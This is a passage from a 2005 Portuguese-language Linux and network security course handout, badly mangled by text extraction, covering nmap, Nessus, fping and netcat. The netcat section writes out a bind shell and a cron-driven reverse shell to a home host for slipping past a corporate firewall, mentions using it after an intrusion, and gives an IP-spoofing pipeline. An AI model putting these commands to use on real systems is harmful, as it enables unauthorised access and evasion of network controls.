sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 14: Curso de segurança em linux e redes em geral

